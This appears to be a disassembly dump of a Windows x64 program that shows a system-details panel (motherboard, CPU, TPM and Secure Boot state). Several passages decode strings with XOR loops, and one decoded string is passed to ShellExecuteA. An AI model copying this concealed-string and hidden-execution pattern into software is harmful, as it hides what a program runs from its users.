lea rdx, [rbp + 0x128]
mov rcx, rsi
call fcn.14004dfa0
mov qword [rbp + 0x248], 0x42fa0000
lea rcx, [rbp + 0x248]
call fcn.140044e30
mov rcx, qword [0x1404b8be0]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], 1
mov rbx, qword [rcx + 0x3ed0]
movss xmm6, dword [rbx + 0xf8]
movss xmm7, dword [rbx + 0xfc]
movss xmm1, dword [0x140327c80]
movaps xmm3, xmm1
movss xmm0, dword [0x1402d3bd8]
movaps xmm2, xmm0
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rbp + 0x250]
call fcn.140032bd0
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x254]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x250]
movss dword [rbp + 0x920], xmm6
movss dword [rbp + 0x924], xmm7
movss dword [rbp + 0x928], xmm0
movss dword [rbp + 0x92c], xmm1
mov rbx, qword [rbx + 0x290]
movaps xmm0, xmmword [0x140327e10]
movups xmmword [rbp + 0x930], xmm0
lea rcx, [rbp + 0x930]
call fcn.140034770
mov dword [rsp + 0x28], 0
movss xmm0, dword [0x1402d3c14]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x928]
lea rdx, [rbp + 0x920]
mov rcx, rbx
call fcn.14004dfa0
mov dword [rbp + 0x258], 0x41080000
mov dword [rbp + 0x25c], 0x41a00000
lea rcx, [rbp + 0x258]
call fcn.140044e30
xorps xmm0, xmm0
movups xmmword [rbp + 0x940], xmm0
movaps xmm1, xmmword [0x1402d3cb0]
movups xmmword [rbp + 0x950], xmm1
mov dword [rbp + 0x260], 0x3f800000
mov dword [rbp + 0x264], 0x3f800000
mov qword [rbp + 0x268], 0
mov dword [rbp + 0x270], 0x42d80000
mov dword [rbp + 0x274], 0x420acccd
lea rax, [rbp + 0x940]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x950]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x260]
lea r8, [rbp + 0x268]
lea rdx, [rbp + 0x270]
mov rcx, qword [rbp + 0xe0]
call fcn.1400672e0
mov dword [rbp + 0x278], 0
mov dword [rbp + 0x27c], 0x43160000
lea rcx, [rbp + 0x278]
call fcn.140044e30
call fcn.1400324b0
movaps xmm1, xmm10
mov rcx, rdi
call fcn.140040c80
movsd xmm0, qword [0x140324840]
movsd qword [rbp + 0x826], xmm0
mov eax, dword [0x140324848]
mov dword [rbp + 0x82e], eax
movzx eax, word [0x14032484c]
mov word [rbp + 0x832], ax
cmp byte [0x14032484d], 0
je 0x1400f3b9f
xor edi, edi
mov r8d, edi
cmp r15d, 2
jl 0x1400f3b3c
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140324840]
xorps xmm2, xmm0
movd dword [rbp + 0x826], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x82a]
xorps xmm2, xmm1
movd dword [rbp + 0x82a], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x826]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400f3b50
xor r9d, r9d
lea r8, [0x14049f074]
lea rdx, [0x14049f068]
lea rcx, [rbp + 0x826]
call fcn.14006c780
jmp 0x1400f3bbe
xor r9d, r9d
lea r8, [0x14049f074]
lea rdx, [0x14049f068]
lea rcx, [rbp + 0x826]
call fcn.14006c780
xor edi, edi
mov eax, dword [0x140324858]
mov dword [rbp + 0x7eb], eax
movzx eax, byte [0x14032485c]
movsd xmm0, qword [0x140324850]
mov byte [rbp + 0x7ef], al
movsd qword [rbp + 0x7e3], xmm0
mov r8d, edi
cmp r15d, 2
jl 0x1400f3cfc
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140324850]
xorps xmm2, xmm0
movd dword [rbp + 0x7e3], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7e7]
xorps xmm2, xmm1
movd dword [rbp + 0x7e7], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x7e3]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400f3d10
mov esi, 1
mov r9d, esi
lea r8, [0x14049f074]
lea rdx, [0x14049f068]
lea rcx, [rbp + 0x7e3]
call fcn.14006c780
movsd xmm0, qword [0x140324860]
movsd qword [rbp + 0x6c4], xmm0
movzx eax, word [0x140324868]
mov word [rbp + 0x6cc], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400f3dcf
mov byte [rbp + 0x6c4], 0xef
xor byte [rbp + 0x6c5], 0x34
xor byte [rbp + 0x6c6], 0x35
xor byte [rbp + 0x6c7], 0x36
xor byte [rbp + 0x6c8], 0x37
xor byte [rbp + 0x6c9], 0x38
xor byte [rbp + 0x6ca], 0x39
xor byte [rbp + 0x6cb], 0x3a
xor byte [rbp + 0x6cc], 0x3b
xor byte [rbp + 0x6cd], 0x3c
mov r9d, 2
lea r8, [0x14049f074]
lea rdx, [0x14049f068]
lea rcx, [rbp + 0x6c4]
call fcn.14006c780
movsd xmm0, qword [0x140324870]
movsd qword [rbp + 0x6ce], xmm0
movzx eax, word [0x140324878]
mov word [rbp + 0x6d6], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x1400f3e5c
mov byte [rbp + 0x6ce], 0xef
xor byte [rbp + 0x6cf], 0x34
xor byte [rbp + 0x6d0], 0x35
xor byte [rbp + 0x6d1], 0x36
xor byte [rbp + 0x6d2], 0x37
xor byte [rbp + 0x6d3], 0x38
xor byte [rbp + 0x6d4], 0x39
xor byte [rbp + 0x6d5], 0x3a
xor byte [rbp + 0x6d6], 0x3b
xor byte [rbp + 0x6d7], 0x3c
mov r9d, 3
lea r8, [0x14049f074]
lea rdx, [0x14049f068]
lea rcx, [rbp + 0x6ce]
call fcn.14006c780
call fcn.140036530
call fcn.140040740
movaps xmm1, xmm15
subss xmm1, dword [0x14049f074]
movss xmm7, dword [0x140327c4c]
mulss xmm1, xmm7
addss xmm1, dword [0x14049f074]
movss dword [0x14049f074], xmm1
xor ecx, ecx
call fcn.140041020
mov qword [rbp + 0x280], 0x42fa0000
lea rcx, [rbp + 0x280]
call fcn.140044e30
mov qword [rbp + 0x288], 0x441ec000
movsd xmm0, qword [0x140324880]
movsd qword [rbp + 0x761], xmm0
movzx ecx, word [0x140324888]
mov word [rbp + 0x769], cx
movzx eax, byte [0x14032488a]
mov byte [rbp + 0x761], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x762], 0x34
xor byte [rbp + 0x763], 0x35
xor byte [rbp + 0x764], 0x36
xor byte [rbp + 0x765], 0x37
xor byte [rbp + 0x766], 0x38
xor byte [rbp + 0x767], 0x39
xor byte [rbp + 0x768], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x769], cl
xor byte [rbp + 0x76a], 0x3c
xor al, 0x3d
mov byte [rbp + 0x76b], al
mov r9d, 8
xor r8d, r8d
lea rdx, [rbp + 0x288]
lea rcx, [rbp + 0x761]
call fcn.140032110
mov eax, dword [0x14049f068]
test eax, eax
jne 0x1400f5a7d
mov dword [rbp + 0x290], 0x41a00000
mov dword [rbp + 0x294], 0x41200000
lea rcx, [rbp + 0x290]
call fcn.140044e30
mov qword [rbp + 0x298], 0
lea rdx, [rbp + 0x298]
mov ecx, reloc.WS2_32.dll_ntohl
call fcn.140040f40
call fcn.1400324b0
movaps xmm1, xmm10
mov rcx, qword [rbp + 0x640]
call fcn.140040c80
lea rcx, str.Desktop
call fcn.14006cdd0
call fcn.140040740
movaps xmm1, xmm10
mov rcx, r14
call fcn.140040c80
movaps xmm0, xmmword [0x140327e10]
movups xmmword [rbp + 0x960], xmm0
lea rdx, [rbp + 0x960]
xor ecx, ecx
call fcn.140040ee0
lea rcx, str.The_details_on_your_system_are_located_here
call fcn.14006cdd0
mov ecx, esi
call fcn.140040920
call fcn.140040740
call fcn.140036530
mov ecx, esi
call fcn.1400409f0
mov dword [rbp + 0x2a0], 0x41a00000
mov dword [rbp + 0x2a4], 0x42c80000
lea rcx, [rbp + 0x2a0]
call fcn.140044e30
movzx eax, word [0x14032488c]
mov word [rbp - 0x40], ax
movzx eax, byte [0x14032488e]
mov byte [rbp - 0x40], Ordinal_50
xor byte [rbp - 0x3f], 0x34
xor al, 0x35
mov byte [rbp - 0x3e], al
lea rcx, [rbp - 0x40]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x1400f4070
lea rcx, [0x14049e7e0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14049e7e0]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x40]
xor r8d, r8d
mov rdx, qword [0x14049e7f0]
call fcn.14007af70
cmp rax, 0xffffffffffffffff
je 0x1400f4136
xorps xmm0, xmm0
movups xmmword [rbp + 0x970], xmm0
movaps xmm1, xmmword [0x1402d3cb0]
movups xmmword [rbp + 0x980], xmm1
mov dword [rbp + 0x2a8], 0x3f800000
mov dword [rbp + 0x2ac], 0x3f800000
mov qword [rbp + 0x2b0], 0
mov dword [rbp + 0x2b8], 0x42f00000
mov dword [rbp + 0x2bc], 0x42700000
lea rax, [rbp + 0x970]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x980]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2a8]
lea r8, [rbp + 0x2b0]
lea rdx, [rbp + 0x2b8]
mov rcx, qword [rbp + 0xe8]
call fcn.1400672e0
movzx eax, word [0x140324890]
mov word [rbp - 0x78], ax
movzx eax, byte [0x140324892]
mov byte [rbp - 0x78], Ordinal_50
xor byte [rbp - 0x77], 0x34
xor al, 0x35
mov byte [rbp - 0x76], al
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, [0x14049e7e0]
call fcn.14009e830
cmp rax, 0xffffffffffffffff
je 0x1400f41f6
xorps xmm0, xmm0
movups xmmword [rbp + 0x990], xmm0
movaps xmm1, xmmword [0x1402d3cb0]
movups xmmword [rbp + 0x9a0], xmm1
mov dword [rbp + 0x2c0], 0x3f800000
mov dword [rbp + 0x2c4], 0x3f800000
mov qword [rbp + 0x2c8], 0
mov dword [rbp + 0x2d0], 0x42f00000
mov dword [rbp + 0x2d4], 0x42700000
lea rax, [rbp + 0x990]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x9a0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2c0]
lea r8, [rbp + 0x2c8]
lea rdx, [rbp + 0x2d0]
mov rcx, qword [rbp + 0xf0]
call fcn.1400672e0
movaps xmm1, xmm10
mov rcx, r13
call fcn.140040c80
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
call fcn.1400324b0
mov qword [rbp + 0x2d8], 0
lea rdx, [rbp + 0x2d8]
mov ecx, reloc.WS2_32.dll_ntohl
call fcn.140040f40
lea rcx, str.Your_PC
call fcn.14006cdd0
movaps xmm0, xmmword [0x140327e00]
movups xmmword [rbp + 0x9b0], xmm0
lea rdx, [rbp + 0x9b0]
xor ecx, ecx
call fcn.140040ee0
lea rcx, [rbp + 0x15b20]
call fcn.14006cdd0
mov ecx, esi
call fcn.140040920
call fcn.140036530
mov ecx, esi
call fcn.1400409f0
call fcn.140040740
mov dword [rbp + 0x2e0], 0x41a00000
mov dword [rbp + 0x2e4], 0x43340000
lea rcx, [rbp + 0x2e0]
call fcn.140044e30
call fcn.1400324b0
mov dword [rbp + 0x2e8], 0x3f800000
mov dword [rbp + 0x2ec], 0x40200000
lea rdx, [rbp + 0x2e8]
mov ecx, reloc.WS2_32.dll_ntohl
call fcn.140040f40
xorps xmm0, xmm0
movups xmmword [rbp + 0x2060], xmm0
mov qword [rbp + 0x2070], rdi
mov qword [rbp + 0x2078], rdi
mov r8d, Ordinal_30
lea rdx, str.Motherboard_Manufacturer:
lea rcx, [rbp + 0x2060]
call fcn.1400658e0
nop
lea rdx, [0x14049e700]
lea rcx, [rbp + 0x2080]
call fcn.1400896b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20a0], xmm0
mov qword [rbp + 0x20b0], rdi
mov qword [rbp + 0x20b8], rdi
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.Motherboard_Model:
lea rcx, [rbp + 0x20a0]
call fcn.1400658e0
nop
lea rdx, [0x14049e720]
lea rcx, [rbp + 0x20c0]
call fcn.1400896b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20e0], xmm0
mov qword [rbp + 0x20f0], rdi
mov qword [rbp + 0x20f8], rdi
mov r8d, 4
lea rdx, str.CPU:
lea rcx, [rbp + 0x20e0]
call fcn.1400658e0
nop
lea rdx, [0x14049e740]
lea rcx, [rbp + 0x2100]
call fcn.1400896b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2120], xmm0
mov qword [rbp + 0x2130], rdi
mov qword [rbp + 0x2138], rdi
mov r8d, ntohs
lea rdx, str.System_SKU:
lea rcx, [rbp + 0x2120]
call fcn.1400658e0
nop
lea rdx, [0x14049e840]
lea rcx, [rbp + 0x2140]
call fcn.1400896b0
nop
call fcn.14006c730
call fcn.14006c730
movaps xmm0, xmmword [0x1402dae40]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, r13
lea rcx, str.System_Hardware
call fcn.140093de0
call fcn.14006c730
lea rbx, [rbp + 0x2080]
mov edi, 4
mov rsi, qword [rbp + 0xb0]
movaps xmm1, xmm10
mov rcx, r12
call fcn.140040c80
movaps xmm0, xmmword [0x1402d3cb0]
movups xmmword [rbp + 0x9d0], xmm0
lea rdx, [rbp + 0x9d0]
xor ecx, ecx
call fcn.140040ee0
lea rcx, [rbx - 0x20]
cmp qword [rbx - 8], 0xf
jbe 0x1400f4457
mov rcx, qword [rcx]
call fcn.14006cdd0
call fcn.140040740
mov ecx, 1
call fcn.140040920
call fcn.14006c730
movaps xmm1, xmm10
mov rcx, rsi
call fcn.140040c80
movaps xmm0, xmmword [0x1402d3ca0]
movups xmmword [rbp + 0x9e0], xmm0
lea rdx, [rbp + 0x9e0]
xor ecx, ecx
call fcn.140040ee0
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400f44a5
mov rcx, qword [rbx]
call fcn.14006cdd0
call fcn.140040740
mov ecx, 1
call fcn.140040920
add rbx, 0x40
sub rdi, 1
jne 0x1400f4421
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e10], xmm0
mov qword [rbp + 0x1e20], 0xa
mov qword [rbp + 0x1e28], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.TPM_State:]
movsd qword [rbp + 0x1e10], xmm0
movzx eax, word [0x140325508]
mov word [rbp + 0x1e18], ax
mov byte [rbp + 0x1e1a], dil
lea rdx, [0x14049e780]
lea rcx, [rbp + 0x1e30]
call fcn.1400896b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e50], xmm0
xor ebx, ebx
mov qword [rbp + 0x1e60], rbx
mov qword [rbp + 0x1e68], rbx
lea r8d, [rdi + 0x12]
lea rdx, str.Secure_Boot_State:
lea rcx, [rbp + 0x1e50]
call fcn.1400658e0
nop
lea rdx, [0x14049e7a0]
lea rcx, [rbp + 0x1e70]
call fcn.1400896b0
nop
call fcn.14006c730
call fcn.14006c730
mov qword [rbp + 0x2f0], 0x41700000
lea rdx, [rbp + 0x2f0]
lea ecx, [rdi + 0xe]
call fcn.140040f40
movaps xmm0, xmmword [0x1402dae40]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, r13
lea rcx, str.Security
call fcn.140093de0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
mov rcx, r12
call fcn.140044c30
movaps xmm0, xmmword [0x140327ea0]
movaps xmm1, xmmword [0x140327ec0]
movaps xmm2, xmm0
mov dword [rbp + 0x2f8], 0x41c80000
mov dword [rbp + 0x2fc], 0x41c80000
movzx eax, word [0x140324894]
mov word [rbp - 0x5e], ax
cmp byte [0x140324895], bl
je 0x1400f4600
mov byte [rbp - 0x5e], 0x3f
xor byte [rbp - 0x5d], 0x34
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmmword [rbp - 0x70], xmm2
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xffffffff
lea rax, [0x14049f118]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f110]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f108]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f100]
xor r8d, r8d
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp - 0x5e]
call fcn.140070150
test al, al
je 0x1400f4861
movups xmm0, xmmword [0x140324898]
movups xmmword [rbp + 0xee2], xmm0
movsd xmm0, qword [0x1403248a8]
movsd qword [rbp + 0xef2], xmm0
mov eax, dword [str.___O]
mov dword [rbp + 0xefa], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rbp + 0xefe], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400f47f6
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xee6]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400f46f1
cmp r8d, 0x1d
jge 0x1400f4840
movsxd rax, r8d
lea r9, [rbp + 0xee2]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x1400f4810
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp + 0xee2]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x200
call fcn.14003a010
test al, al
je 0x1400f4a5c
mov rcx, r12
call fcn.140044c30
movups xmm0, xmmword [str.pXU_]
movups xmmword [rbp + 0x1ae3], xmm0
movups xmm1, xmmword [0x1403248c8]
movups xmmword [rbp + 0x1af3], xmm1
movsd xmm0, qword [0x1403248d8]
movsd qword [rbp + 0x1b03], xmm0
mov eax, dword [0x1403248e0]
mov dword [rbp + 0x1b0b], eax
movzx eax, word [0x1403248e4]
mov word [rbp + 0x1b0f], ax
mov r8d, ebx
cmp r15d, 2
jl 0x1400f4a05
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x1ae7]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400f4900
cmp r8d, 0x2e
jge 0x1400f4a50
movsxd rax, r8d
lea r9, [rbp + 0x1ae3]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x1400f4a20
lea rcx, [rbp + 0x1ae3]
call fcn.140045750
mov edi, 1
mov ecx, edi
call fcn.1400409f0
call fcn.14006c730
mov dword [rbp + 0x300], 0x41a00000
mov dword [rbp + 0x304], 0x40200000
lea rdx, [rbp + 0x300]
lea ecx, [rdi + 0xd]
call fcn.140040f40
call fcn.1400324b0
movaps xmm1, xmm10
mov rcx, r12
call fcn.140040c80
movaps xmm0, xmmword [0x1402d3cb0]
movups xmmword [rbp + 0xa00], xmm0
lea rdx, [rbp + 0xa00]
xor ecx, ecx
call fcn.140040ee0
lea rcx, [rbp + 0x1e10]
cmp qword [rbp + 0x1e28], 0xf
cmova rcx, qword [rbp + 0x1e10]
call fcn.14006cdd0
call fcn.140040740
mov ecx, edi
call fcn.140040920
call fcn.14006c730
movaps xmm1, xmm10
mov rcx, rsi
call fcn.140040c80
mov rax, qword [str.vZTT___:vZTT___:vZTT___:vZTT___:j__]
mov qword [rbp + 0x308], rax
cmp byte [0x1403248ef], 0
je 0x1400f4c60
cmp r15d, 2
jl 0x1400f4c1f
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x308]
xorps xmm2, xmm1
movd dword [rbp + 0x308], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x30c]
xorps xmm2, xmm1
movd dword [rbp + 0x30c], xmm2
jmp 0x1400f4c60
lea r9, [rbp + 0x308]
mov r8d, ebx
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400f4c30
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x1e30]
call fcn.140072b80
test al, al
je 0x1400f4c8e
movaps xmm0, xmmword [0x1402d9230]
movups xmmword [rbp + 0xa10], xmm0
lea rdx, [rbp + 0xa10]
jmp 0x1400f4ca3
movaps xmm0, xmmword [0x140327e60]
movups xmmword [rbp + 0xa20], xmm0
lea rdx, [rbp + 0xa20]
xor ecx, ecx
call fcn.140040ee0
